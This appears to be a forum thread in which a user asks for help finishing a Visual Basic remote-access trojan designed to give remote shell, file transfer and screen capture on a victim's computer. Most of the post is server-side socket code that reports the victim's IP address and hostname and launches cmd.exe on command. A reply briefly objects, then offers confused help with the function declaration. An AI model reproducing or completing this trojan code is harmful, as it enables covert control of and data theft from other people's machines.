vb trojan help

im making a sin trojan in visual basic. i have the connection all set but im having trouble with options. its going to be a basic sin with only remote shell, file tranfer and screen capture.

for the moment im working on the remote shell. it seemed natural that before i can get an output of dos i must first run it on the victim. the problem im having is that the compiler keeps saysing the sub or function is not defined although i declared it

here is the the part its giving me trouble with

Dim SData As String
Dim All_Data As String
Dim Comamnd As String
Dim Multi() As String
Dim Temp_String As String

ServerSck.GetData SData

Comamnd = Left(SData, 6)
All_Data = Right(SData, Len(SData) - 6)
Multi() = Split(All_Data, "[#]")

If Comamnd = "SrvDtl" Then
Temp_String = "SrvDtl"
Temp_String = Temp_String & "[#]" & ServerSck.LocalIP
Temp_String = Temp_String & "[#]" & ServerSck.LocalHostName
Temp_String = Temp_String & "[#]" & "No Details"
Temp_String = Temp_String & "[#]" & "Evil_Inside"

ServerSck.SendData Temp_String
End If

If Comamnd = "SndMsg" Then
MsgBox All_Data
End If
If Comamnd = "OPN" Then
ShellExecute Me.hWnd, vbNullString, "WINDOWS\system32\cmd.exe", vbNullString, "C:\", 1
End If
End Sub```

and here is the declare function im using

```markupPrivate Declare Function Shell Lib "SHELL32.DLL" Alias "ShellExecute" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long```

thank  you in advance for any help

Hmm you know that most people who write trojans and viruses don't get any help here, right? :right:

lol if you put the declerations in a module, or if they are within the form.. if you declared it in the form, change the Private to Public.. and if you declared it in a module, just remove the Private and put something like: Dim VARIABLE As TYPE.

That should do it :P